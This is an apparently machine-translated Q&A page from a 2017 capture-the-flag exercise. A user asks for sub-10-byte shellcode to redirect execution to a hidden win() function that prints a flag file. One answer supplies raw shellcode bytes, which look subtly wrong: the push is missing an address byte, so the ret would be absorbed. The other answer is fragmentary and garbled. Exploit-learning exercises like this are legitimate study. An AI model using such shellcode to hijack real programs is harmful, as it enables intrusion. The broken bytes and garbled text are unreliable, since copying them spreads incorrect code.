调用C函数shellcode

时间:2017-04-07 15:48:53

标签: shellcode

我从gdb

获取了以下转储
 00000000004006f6 <win>:

 4006f6:       55                      push   rbp
 4006f7:       48 89 e5                mov    rbp,rsp
 4006fa:       bf 98 08 40 00          mov    edi,0x400898
 4006ff:       e8 8c fe ff ff          call   400590 <system@plt>
 400704:       5d                      pop    rbp
 400705:       c3                      ret   

通常这个C函数从不被调用但是我需要编写一些少于10个字节的shellcode来运行它或者显示值。这是函数的来源;

void win(){
    system("/bin/cat ./flag.txt");    
}

我仍然是装配和C的新手,所以任何帮助都会受到赞赏。

2 个答案:

答案 0 :(得分:0)

为了运行函数win(),您必须在shellcode中编写push <function-win-address> ret

在您的情况下将是: \x68\xf6\x06\x40\xc3

\x68push

\xf6\x06\x40是函数地址

\xc3ret

答案 1 :(得分:-1)

mov eax,(win addr)

致电eax

之后的

objdump操作码